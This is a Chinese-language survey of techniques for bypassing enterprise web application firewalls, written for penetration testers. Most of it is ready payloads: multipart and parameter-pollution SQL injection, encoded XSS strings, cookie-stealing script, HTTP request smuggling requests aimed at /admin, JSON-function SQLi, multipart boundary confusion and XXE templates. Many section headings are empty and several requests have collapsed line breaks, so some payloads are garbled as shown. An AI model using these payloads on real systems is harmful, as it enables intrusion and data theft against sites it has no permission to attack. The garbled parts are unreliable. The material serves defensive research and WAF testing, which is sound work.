Web应用防火墙(WAF)作为现代企业Web安全架构的核心组件,在防御SQL注入、XSS、RCE等常见攻击中扮演着关键角色。然而,随着攻防技术的不断演进,针对企业级WAF的绕过技术也在持续发展。本文基于最新的学术研究和实战案例,系统性地梳理了当前主流WAF产品的绕过技术,旨在为安全研究人员和渗透测试工程师提供技术参考。
企业级WAF通常采用以下三种部署模式: 网络型WAF(Network-based)
主机型WAF(Host-based)
云托管WAF(Cloud-hosted)
现代WAF采用多层检测机制:
工作原理:
优势:
典型规则示例:
if url_parameter "user_input" contains "UNION SELECT"then block
负向安全模型(Blacklisting):
正向安全模型(Whitelisting):
工作原理:
优势:
工作原理:
优势:
WAF产品| 厂商| 部署类型| 核心规则集| 市占率
Cloudflare WAF| Cloudflare| Cloud| Managed + OWASP CRS| 高
AWS WAF| Amazon| Cloud| AWS Managed Rules + OWASP CRS| 高
Azure WAF| Microsoft| Cloud| DRS 2.1 (基于 CRS 3.2)| 高
Google Cloud Armor| Google| Cloud| ModSecurity + 自定义规则| 中
F5 BIG-IP ASM| F5 Networks| Network/Virtual| Rapid Deployment Policy| 高
ModSecurity| Trustwave/OWASP| Host/Network| OWASP CRS| 高
Imperva WAF| Imperva| Cloud/Network/Host| ThreatRadar + 自定义| 中
Akamai Kona| Akamai| Cloud| Adaptive Security Engine| 高
Fortinet FortiWeb| Fortinet| Network/Virtual| Extended Protection| 中
OWASP CRS是WAF领域最广泛使用的开源规则集,被大量商业WAF采用作为基础规则。 覆盖的攻击类型:
版本演进:
偏执等级(Paranoia Level):
核心概念: WAF与后端应用对同一HTTP请求的理解不一致,是绕过的根本原因。 产生原因:
典型场景:
WAF可能仅检查application/x-www-form-urlencoded
,而后端同时接受multipart/form-data
:
POST /api/search HTTP/1.1Content-Type: multipart/form-data; boundary=----Boundary------BoundaryContent-Disposition: form-data; name="query"' UNION SELECT password FROM users--------Boundary--
90%以上的网站可互换接受这两种Content-Type,但WAF检测规则可能不同步。
为了方便大家理解,大家可以感受下两者差异:
GET /search?q=safe&q=malicious
技术栈| 处理方式
PHP| 使用最后一个值
ASP.NET| 用逗号连接所有值
Java Servlet| 返回数组
Python Flask| 使用第一个值(默认)
Node.js Express| 返回数组或字符串
WAF如果仅检查第一个参数而后端使用最后一个,攻击即可绕过。
核心问题: WAF在应用检测规则前必须对请求进行归一化(解码、规范化路径等),如果归一化逻辑与后端不一致,会产生绕过。 常见不一致: URL编码层级:
%253Cscript%253E (双重URL编码)↓ WAF解码一次%3Cscript%3E↓ 后端再解码<script>
Unicode归一化:
\u003Cscript\u003E (Unicode编码)→ 后端解码为: <script>
路径规范化:
/path/./to/../file.php→ WAF可能不规范化→ 后端规范化为: /path/file.php
单次编码:
< 转换为 %3C> 转换为 %3E
双重编码:
< 转换为 %253C
混合编码:
<script> 转换为 %3Cscript%3E<script> 转换为 <scr%69pt>
大小写变种:
%3c %3C (某些WAF区分大小写)
JavaScript Context:
\u003Cscript\u003E\u{3c}script\u{3e} // ES6语法
HTML Entity:
<script><[](javascript:;);script>[](javascript:;);<[](javascript:;);script>[](javascript:;);
UTF-7编码:
+ADw-script+AD4-
UTF-32 Overlong:
∀㸀㰀script㸀alert(1)㰀/script㸀
结合Accept-Charset: utf-32
头部,浏览器用UTF-8解码后触发XSS。
十六进制编码:
SELECT 转换为 0x53454C454354
字符函数:
CHAR(83,69,76,69,67,84) =SELECT
注释分割:
SEL/*comment*/ECTSE/**/LECT
大小写混淆:
SeLeCtsELEct
空白字符替换:
SELECT\x09*\x0AFROM\x0Dusers (Tab, LF, CR)
IBM037/IBM500编码(IIS):
原始: id='union select * from users--IBM037: %89%84=%7D%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
ASP.NET支持IBM字符集,可绕过不支持此编码的WAF。
利用前端(WAF/代理)和后端服务器对请求边界理解的差异,将恶意请求"走私"到后端。 核心:CL与TE的优先级差异
Content-Length (CL): 指定body长度(字节)Transfer-Encoding: chunked (TE): 分块传输
HTTP规范对同时存在CL和TE时的处理存在模糊性,导致不同实现的差异。
前端使用Content-Length,后端使用Transfer-Encoding
POST / HTTP/1.1Host: vulnerable.comContent-Length: 6Transfer-Encoding: chunked0G
前端认为body长度为6字节,读取0\r\n\r\nG
,请求结束。 后端使用chunked编码,读取0\r\n\r\n
(长度0的chunk表示结束),剩余的G
被当作下一个请求的开头。
攻击载荷示例:
POST / HTTP/1.1Host: vulnerable.comContent-Length: 4Transfer-Encoding: chunked5cGET /admin HTTP/1.1Host: vulnerable.comContent-Type: application/x-www-form-urlencodedContent-Length: 10x=0
前端使用Transfer-Encoding,后端使用Content-Length
POST / HTTP/1.1Host: vulnerable.comContent-Length: 4Transfer-Encoding: chunked5cGET /admin HTTP/1.1X:0
Transfer-Encoding: chunkedTransfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunkedTransfer-Encoding:[tab]chunked
一侧识别为chunked,另一侧忽略,产生解析差异。 危害:
行为: ASP.NET使用逗号连接同名参数的所有值。
/?q=1'&q=alert(1)&q='2→ 后端: q = "1',alert(1),'2"
在JavaScript上下文中:
var query = '1',alert(1),'2';
逗号操作符使得alert(1)
被执行。
WAF绕过实例:
原始阻断:
/?q=';alert(1);//
HPP绕过:
/?q=1'+1;let+asd=window&q=def='al'+'ert'+;asd[def](1&q=2);'
ASP.NET拼接后:
q = "1'+1;let asd=window,def='al'+'ert'+;asd[def](1,2);'"
PHP后端:
// PHP使用最后一个参数$id = $_GET['id']; // 获取最后一个id值
攻击:
/?id=safe&id=' OR 1=1--
WAF检查第一个id=safe
(安全),PHP使用最后一个id=' OR 1=1--
(恶意)。
研究背景: 2022年,Claroty Team82发现多个主流WAF(Palo Alto、AWS、Cloudflare、F5、Imperva)不支持JSON语法检测。 绕过技术: 标准SQLi被阻断:
' UNION SELECT username, password FROM users--
JSON函数绕过:
' OR JSON_LENGTH("{}") <= 8896 UNION SELECT @@version#
PostgreSQL JSON函数:
' OR (SELECT json_agg(password) FROM users)::text LIKE '%admin%'--
MySQL JSON函数:
' OR JSON_EXTRACT('{"a":"<script>alert(1)</script>"}','$.a')--
攻击流程:
根据WAFFLED研究,multipart content-type存在大量解析差异攻击面。 Boundary参数延续: RFC 2231允许通过多个参数表示单个参数值:
Content-Type: multipart/form-data; boundary=fake-boundary; boundary*0=real-; boundary*1=boundary
WAF取第一个boundary(fake-boundary
), 后端拼接为real-boundary
,导致解析差异。
完整攻击载荷:
POST /upload HTTP/1.1Content-Type: multipart/form-data; boundary=fake-boundary; boundary*0=real-; boundary*1=boundary--fake-boundaryContent-Disposition: form-data; name="field1"safe_value--fake-boundary----real-boundaryContent-Disposition: form-data; name="id"<script>alert(document.cookie)</script>--real-boundary--
WAF检查fake-boundary
之间的内容(安全), 后端解析real-boundary
之间的内容(恶意)。
其他Multipart绕过类别:
Boundary分隔符操作:
\r\n--boundary (移除\r\n)
Content-Disposition破坏:
content-disposition: form-da\x00a; name="file"
畸形头部注入:
conten\x00-extra: somethingContent-Type: text/plain\x00
字符集变更:
Content-Type: text/plain; charset=\x00UTF-8
换行符移除:
Content-Type: multipart/form-data; boundary=test\r\n\r\n(紧接body,无空行)
Extra Field Addition:
<?xml version="1.0"?><root><field1>value1</field1><field2attr="bypass">XXE_PAYLOAD</field2></root>
DOCTYPE Closure Confusion:
<!DOCTYPE root [...]><field1>XXE</field1>]</root>
Schema操作:
<genre:schema><field1>XXE_PAYLOAD</field1>invalid_char</genre:schema>
Content-Type头移除:
POST /api HTTP/1.1Host: target.com(无Content-Type头,或修改为其他值)<?xml>...</xml>